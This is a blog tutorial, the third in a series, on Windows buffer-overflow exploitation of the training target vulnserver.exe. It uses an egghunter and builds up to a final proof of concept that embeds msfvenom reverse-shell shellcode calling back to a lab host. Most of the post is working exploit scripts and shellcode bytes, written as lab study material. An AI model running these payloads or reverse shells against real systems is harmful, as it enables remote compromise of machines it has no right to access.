Windows User Mode Exploit Development: Egghunter Part 3

Posted on Apr 1, 2020

Note

Please complete Windows User Mode Exploit Development Part 1 and Windows User Mode Exploit Development SEH Part 2 before continuing so everything makes sense as some things will not be explained again :).

Enter the Egghunter

An egghunter is a short piece of assembly code which is safely able to search the Virtual Address Space (memory) for a signature or an “egg” which is a short string signifying the beginning of a larger payload.

There are two pre-requisites that need to be met in order to use the Egghunter technique.

  • The first is that we should have at least 32 bytes (in this case) of memory to which we can jump to that holds the small Egghunter code.
  • The second is that our shellcode must be available somewhere in memory (on the stack or heap).

The egghunter uses the EDX register as a pointer to scanned memory. It starts by going to the last address in the current memory space that EDX is pointing to and then points EDX to the first address in the next page.

We can see this here:

loop_inc_page:
    or dx, 0x0fff       : Go to last address in page n (this could also be used to
                        : XOR EDX and set the counter to 00000000)

loop_inc_one:
    inc edx             : Increase memory counter by one

It then checks to see if this address space is valid using the NtAccessCheckAndAuditAlarm function.

We can see this being done here:

loop_check:
    push edx            : save edx which holds our current memory location
    push 0x2, pop eax   : initialize the call to NtAccessCheckAndAuditAlarm
    int 0x2e            : perform the system call
    cmp al,05           : check for access violation, 0xc0000005 (ACCESS_VIOLATION)
    pop edx             : restore edx to check later the content of pointed address

If this address space is invalid, it will hop to the next page by jumping back to loop_inc_page.

We can see that here:

loop_check_8_valid:
    je loop_inc_page    : if access violation encountered, go to next page

If our address is valid, our egghunter starts searching that memory space for the signature that we have planted before our shellcode (0x57303054). Our signature in this example will be W00TW00T, two instances of the word W00T.

The egghunter starts by storing the first half of the signature in the EAX register, it then initializes our pointer with our current checked address, it effectively moves the address space it is pointing to into the EDI register, it then compares the contents of EDI with this string 0x57303054 to see whether it has reached our signature or our egg. If we haven’t reached it, then it should increase our memory counter by one by jumping back to this jnz loop_inc_one function. If it has met it, it will look for the 2nd instance of our egg, and if that was not found once again, it would increase our address page by 1.

We can see that being done here:

is_egg:
    mov eax, 0x57303054 : load egg (W00T in this example)
    mov edi, edx        : initializes pointer with current checked address
    scasd               : Compare eax with doubleword at edi and set status flags
    jnz loop_inc_one    : No match, we will increase our memory counter by one
    scasd               : first part of the egg detected, check for the second part
    jnz loop_inc_one    : No match, we found just a location with half an egg

However, if it was found, which indicates that it has hit our egg and that our shellcode is immediately after it, we should jump to EDI where our shellcode awaits for us.

We can see this being done here:

matched:
   jmp edi             : edi points to the first byte of our 3rd stage code, let's go!

Here is the full egghunter code written by Matt Miller that was explained above.

We use edx for the counter to scan the memory.

loop_inc_page:
    or dx, 0x0fff       : Go to last address in page n (this could also be used to
                        : XOR EDX and set the counter to 00000000)

loop_inc_one:
    inc edx             : Increase memory counter by one

loop_check:
    push edx            : save edx which holds our current memory location
    push 0x2, pop eax   : initialize the call to NtAccessCheckAndAuditAlarm
    int 0x2e            : perform the system call
    cmp al,05           : check for access violation, 0xc0000005 (ACCESS_VIOLATION)
    pop edx             : restore edx to check later the content of pointed address

loop_check_8_valid:
    je loop_inc_page    : if access violation encountered, go to next page

is_egg:
    mov eax, 0x57303054 : load egg (W00T in this example)
    mov edi, edx        : initializes pointer with current checked address
    scasd               : Compare eax with doubleword at edi and set status flags
    jnz loop_inc_one    : No match, we will increase our memory counter by one
    scasd               : first part of the egg detected, check for the second part
    jnz loop_inc_one    : No match, we found just a location with half an egg

matched:
    jmp edi             : edi points to the first byte of our 3rd stage code, let's go!


Reference: "Safely Searching Process Virtual Address Space" skape 2004
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

The following diagram depicts the functionality of Matt Millers’ egghunter.

All Credits go to Offensive Security (OSCE) and Matt Miller for above

This sounds very complicated but let’s see this in action.

Replicating Crash

After a bit of fuzzing, we can find that the string KSTET /.:/ with 3000 A’s crashed the application.

Here is the exploit.

#!/usr/bin/python

import socket

host = "192.168.81.129"
port = 9999

payload = "A" * 3000

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending exploit!")
    s.send("KSTET /.:/" + payload)
    print("[+] Exploit sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

Here we can see the application is normally running.

After running the exploit, EIP is overwritten with our A’s

Controling EIP

To get control of the EIP register as always let’s use mona to generate a pattern so we can find the 4 bytes that overwrite EIP.

!mona pattern_create 3000

Here we create a pattern.

Let’s modify and send the exploit.

#!/usr/bin/python

import socket

host = "192.168.81.129"
port = 9999

pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9")

#payload = "A" * 3000
payload = pattern

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending exploit!")
    s.send("KSTET /.:/" + payload)
    print("[+] Exploit sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

Here we can see that EIP is overwritten with 41326341.

We can use mona to find the offset.

!mona findmsp

The findmsp command will find all instances or certain references to a cyclic pattern (a.k.a. “Metasploit pattern”) in memory, registers, etc..

Here we can see the offset is 66 which means that EIP will be overwritten after 66 A’s

Let’s modify and send the exploit. Make sure there is an even amount of padding.

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999


payload = "A" * 66
payload += "B" * 4
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending exploit!")
    s.send("KSTET /.:/" + payload)
    print("[+] Exploit sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

After sending the exploit we can see that EIP was overwritten with our 4 B’s, we now have control of the EIP register.

Bad Characters

The bad characters are the same as before, \x00 is the only bad character.

You can generate a byte array from 00 to FF and send it in the exploit just like the previous blog series. Please refer to Windows User Mode Exploit Development Part 1 and Windows User Mode Exploit Development SEH Part 2 for more information

!mona bytearray

Redirecting Execution Flow

We can use mona to quickly find a JMP ESP instruction within essfunc.dll as it has no DEP or ASLR. Please refer to Windows User Mode Exploit Development Part 1 and Windows User Mode Exploit Development SEH Part 2 for more information.

!mona jmp -r esp -m "essfunc.dll"

Here we can see 625011AF, which meets our criteria.

We will put a breakpoint on 625011AF before running the exploit. Now let’s modify and sent the exploit.

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999

#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"

payload = "A" * 66
payload += JMP_ESP
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending exploit!")
    s.send("KSTET /.:/" + payload)
    print("[+] Exploit sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

Here we can see that our EIP register points to our #JMP ESP 625011AF -> \xAF\x11\x50\x62 instruction and our ESP register points to our buffer.

However, there is not enough to place our shellcode; if you remember from our previous blog series, a standard reverse shell takes anywhere between 350 to 400 bytes of space.

Here we only have approximately 20 bytes of buffer space, and even our egghunter can’t fit there.

First Stage Payload

Let’s take a small jump back into the buffer just like we did in Windows User Mode Exploit Development SEH Part 2

The JMP SHORT shellcode looks like this "\xEB\xC0\x90\x90"

Let’s modify and send the exploit after placing a breakpoint on our JMP ESP

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999

#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"

payload = "A" * 66
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending exploit!")
    s.send("KSTET /.:/" + payload)
    print("[+] Exploit sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

After executing the JMP ESP (625011AF) instruction, we land on our SHORT JMP

Before executing the SHORT JMP we can see that we will land on 017FF9A2

Let’s take the jump back into our buffer.

After taking the short jump, we land on 017FF9A2 which gives us around 57 bytes of space to place our egghunter.

Egghunter

We compile and run Matts’ egghunter and receive our egghunter shellcode.

6681caff0f42526a0258cd2e3c055a74efb8543030578bfaaf75eaaf75e7ffe7

Now we can modify and send the exploit. Make sure to add padding. We want our egghunter before our JMP ESP with appropriate memN0ps :P

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999

#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"

#memN0ps
memn0ps = "\x90"

payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending exploit!")
    s.send("KSTET /.:/" + payload)
    print("[+] Exploit sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

After executing the breakpoint and taking the short jump, we can see our egghunter.

Now we need to place our reverse shell payload somewhere in memory as there isn’t enough space. The best way to go about this is to find another command and send our payload as a parameter before crashing the target. We can reuse the other commands available below from vulnserver.exe

Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

The best way to do this is to create a pattern or a unique string (W00TW00T), and you can use mona to search the memory for that string.

We can reuse our pattern we made for controlling EIP or we can use our egg W00TW00T.

For this seneraio, we will use the command GDOG

Here we will use GDOG + pattern the pattern will be passed as the parameter instead, and then after that, we will crash the target server with our usual payload.

For example:

s.send("GDOG " + pattern)

s.send("KSTET /.:/" + payload)

or

s.send("GDOG " + egg)

s.send("KSTET /.:/" + payload)

For this example we will use the pattern instead of the egg.

We modify and send exploit. Please make sure you put a breakpoint on the JMP ESP (625011AF) address just like before so we hit the breakpoint and don’t execute our egghunter since there is no egg, our egghunter will not work.

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999

#Pattern
pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")

#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"

#memN0ps
memn0ps = "\x90"

payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending 1st stage payload")
    s.send("GDOG " + pattern)
    print("[+] 1st stage payload sent!")
    s.recv(1024)
    print("[+] Sending 2nd stage payload")
    s.send("KSTET /.:/" + payload)
    print("[+] 2nd stage sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

After sending the pattern, we can use mona to find the pattern as usual.

!mona findmsp to search for the pattern or !mona find -s "W00TW00T" to search for the egg.

As you can see mona found the pattern located at 0x007a5ab5

We can now go to this address using immunity debugger. After finding the address, we can right-click on the address and “Follow in Dump” -> “Selection”.

Here we can see that we have LOADS of space and more than enough space for our reverse shell.

Debug Debug Debug

To see the egg in action, let’s watch our egghunter search for our egg by putting breakpoints and debugging.

We start by putting a breakpoint on the JUMP ESP (625011AF) then edit and send the exploit.

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999

#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x57\x30\x30\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"

#memN0ps
memn0ps = "\x90"

#EGG
#W00TW00T
egg = "W00TW00T"

payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending 1st stage payload")
    s.send("GDOG " + egg + memn0ps * 300)
    print("[+] 1st stage payload sent!")
    s.recv(1024)
    print("[+] Sending 2nd stage payload")
    s.send("KSTET /.:/" + payload)
    print("[+] 2nd stage sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

Press F7 to take the jump

We land on our SHORT JUMP -> \xEB\xC0\x90\x90. Press F7 to take the jump back into the buffer.

After taking the jump we land just before the egghunter as intended, let’s put a breakpoint on the 2nd SCAS DWORD PTR ES:[EDI] instruction and hit run

As our egghunter gets executed, it scans the memory for our signature/egg W00TW00T.

After allowing execution to continue, the EDI register now points to the first W00T.

Now that the first W00T was found, the second W00T is searched for. Let’s put a breakpoint on JMP EDI and hit run.

Following EDI in dump, we can see that it points after W00TW00T which is where our shellcode will go.

Here we take the jump by hitting F7 and land into our NOPs which will be replaced by our reverse shell :)

Final PoC

The final PoC is below.

We can add NOP’s to safely slide into our shellcode, make sure the math is correct, whatever you add the buffer you must take away from the appropriate location.

I have used a simple unstaged reverse tcp payload so we can catch it using netcat on 443.

Now let’s modify and send the exploit.

#!/usr/bin/python

import socket

host = "192.168.130.130"
port = 9999

#Reverse shell
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.130.128 LPORT=443 -b "\x00" x86/shikata_ga_nai EXITFUN=thread -f c
shellcode = ("\xbf\xad\xdb\x9d\xb2\xdd\xc6\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x7a\x12\x03\x7a\x12\x83\x6f\xdf\x7f\x47\x93\x08\xfd"
"\xa8\x6b\xc9\x62\x20\x8e\xf8\xa2\x56\xdb\xab\x12\x1c\x89\x47"
"\xd8\x70\x39\xd3\xac\x5c\x4e\x54\x1a\xbb\x61\x65\x37\xff\xe0"
"\xe5\x4a\x2c\xc2\xd4\x84\x21\x03\x10\xf8\xc8\x51\xc9\x76\x7e"
"\x45\x7e\xc2\x43\xee\xcc\xc2\xc3\x13\x84\xe5\xe2\x82\x9e\xbf"
"\x24\x25\x72\xb4\x6c\x3d\x97\xf1\x27\xb6\x63\x8d\xb9\x1e\xba"
"\x6e\x15\x5f\x72\x9d\x67\x98\xb5\x7e\x12\xd0\xc5\x03\x25\x27"
"\xb7\xdf\xa0\xb3\x1f\xab\x13\x1f\xa1\x78\xc5\xd4\xad\x35\x81"
"\xb2\xb1\xc8\x46\xc9\xce\x41\x69\x1d\x47\x11\x4e\xb9\x03\xc1"
"\xef\x98\xe9\xa4\x10\xfa\x51\x18\xb5\x71\x7f\x4d\xc4\xd8\xe8"
"\xa2\xe5\xe2\xe8\xac\x7e\x91\xda\x73\xd5\x3d\x57\xfb\xf3\xba"
"\x98\xd6\x44\x54\x67\xd9\xb4\x7d\xac\x8d\xe4\x15\x05\xae\x6e"
"\xe5\xaa\x7b\x20\xb5\x04\xd4\x81\x65\xe5\x84\x69\x6f\xea\xfb"
"\x8a\x90\x20\x94\x21\x6b\xa3\x5b\x1d\xf1\xb3\x34\x5c\xf5\xb2"
"\x7f\xe9\x13\xde\x6f\xbc\x8c\x77\x09\xe5\x46\xe9\xd6\x33\x23"
"\x29\x5c\xb0\xd4\xe4\x95\xbd\xc6\x91\x55\x88\xb4\x34\x69\x26"
"\xd0\xdb\xf8\xad\x20\x95\xe0\x79\x77\xf2\xd7\x73\x1d\xee\x4e"
"\x2a\x03\xf3\x17\x15\x87\x28\xe4\x98\x06\xbc\x50\xbf\x18\x78"
"\x58\xfb\x4c\xd4\x0f\x55\x3a\x92\xf9\x17\x94\x4c\x55\xfe\x70"
"\x08\x95\xc1\x06\x15\xf0\xb7\xe6\xa4\xad\x81\x19\x08\x3a\x06"
"\x62\x74\xda\xe9\xb9\x3c\xea\xa3\xe3\x15\x63\x6a\x76\x24\xee"
"\x8d\xad\x6b\x17\x0e\x47\x14\xec\x0e\x22\x11\xa8\x88\xdf\x6b"
"\xa1\x7c\xdf\xd8\xc2\x54")

#Search for W00TW00T
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x57\x30\x30\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

#JMP ESP 625011AF -> \xAF\x11\x50\x62
JMP_ESP = "\xAF\x11\x50\x62"
#\xEB\xC0\x90\x90
SHORT_JMP = "\xEB\xC0\x90\x90"

#memN0ps
memn0ps = "\x90"

#EGG
#W00TW00T
egg = "W00TW00T"

payload = "A" * (66 - 8 - len(egghunter) - 8)
payload += memn0ps * 8
payload += egghunter
payload += memn0ps * 8
payload += JMP_ESP
payload += SHORT_JMP
payload += "C" * (3000 - len(payload))

print("Payload length: " + str(len(payload)))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.recv(1024)
    print("[+] Sending 1st stage payload")
    s.send("GDOG " + egg + memn0ps * 50 + shellcode + memn0ps * 50)
    print("[+] 1st stage payload sent!")
    s.recv(1024)
    print("[+] Sending 2nd stage payload")
    s.send("KSTET /.:/" + payload)
    print("[+] 2nd stage sent!")
    s.close()
except:
    print("[-] Could not connect to server!")

W00TW00T!

We have a reverse shell! :D

Note

Thanks for reading my blog. Please mind the grammar and other mistakes. I know it is not perfect, but I really hope it helps any fellow hackers out there on the grind. Writing blog posts also helps with my own revision and learning since it is easy to forget if you don’t use this every day of your life in such a vast field, where there are loads of things to learn.

I’m aware that some of these techniques are old and outdated, but I believe it is vital to know the essentials before moving on to advanced exploitation besides it is still fun.

I hope to keep on writing more blog posts in my spare or research time. Hopefully, as time goes on, we will start more advanced exploitation.

There are many better blogs out there that explain things in a better and different way, so I’d highly recommend to go and read them.

Coming Next (No ETA)

  • ASLR
  • DEP

References